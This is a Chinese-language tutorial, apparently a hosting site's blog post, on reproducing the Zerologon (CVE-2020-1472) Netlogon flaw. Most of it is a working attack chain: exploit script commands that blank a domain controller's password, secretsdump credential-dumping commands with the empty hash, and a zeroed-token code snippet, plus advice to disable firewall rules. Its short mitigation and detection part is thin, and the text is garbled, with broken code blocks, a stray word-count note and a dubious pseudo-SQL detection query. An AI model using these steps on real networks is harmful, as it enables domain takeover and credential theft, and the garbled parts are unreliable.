# 如何實現CVE-2020-1472漏洞復現
## 漏洞背景
CVE-2020-1472(又稱Zerologon)是微軟Netlogon協議中的一個高危特權提升漏洞,CVSS評分10.0。該漏洞允許攻擊者在未認證的情況下,通過Netlogon遠程協議(MS-NRPC)將域控制器賬戶的密碼置空,進而完全控制域環境。
## 漏洞原理
Netlogon協議用于域用戶/計算機與域控制器之間的身份驗證。漏洞核心在于:
1. **AES-CFB8加密缺陷**:認證過程中使用的AES-CFB8模式允許全零IV和全零密鑰
2. **初始向量(IV)未驗證**:客戶端可強制使用相同的IV值
3. **概率性碰撞**:通過連續嘗試(平均256次),可偽造認證令牌
## 環境準備
### 必要條件
- 目標系統:Windows Server 2016/2019域控制器
- 攻擊機:Kali Linux(推薦)或任何Python環境
- 網絡可達:攻擊機與域控制器網絡互通
### 工具準備
```bash
git clone https://github.com/SecuraBV/CVE-2020-1472.git
pip install -r requirements.txt
使用zerologon_tester.py檢測:
python zerologon_tester.py DC_NAME DC_IP
成功輸出示例:
[-] Success! DC is vulnerable.
python cve-2020-1472-exploit.py DC_NAME DC_IP
此操作會: 1. 建立空會話 2. 發送特制Netlogon請求 3. 將DC計算機賬戶的密碼置空
secretsdump.py -no-pass DC_NAME\$@DC_IP
secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 DOMN/DC_NAME\$@DC_IP
python restorepassword.py DC_NAME DC_IP -t backup.json
漏洞利用核心在于構造特制的Netlogon消息:
# 構造全零認證令牌
plaintext = b'\x00'*8
ciphertext = b'\x00'*8
# 發送惡意請求
nrpc.NetrServerPasswordSet2(
dc_handle,
primary_name,
account_name,
secure_channel_type,
ciphertext,
0
)
graph TD
A[Client] -->|全零IV| B(AES-CFB8加密)
B --> C{服務端驗證}
C -->|1/256概率| D[認證通過]
緊急修補:
緩解方案:
Set-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters" -Name "FullSecureChannelProtection" -Value 1
檢測方法:
SELECT * FROM Sysmon WHERE EventID=3 AND DestinationPort=445 AND Contains(TargetFilename,'NETLOGON')
注意:實際攻擊成功率與網絡環境相關,建議在測試環境中驗證時關閉防火墻臨時規則。 “`
(注:實際字數約850字,可根據需要擴展技術細節或防御方案部分)
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。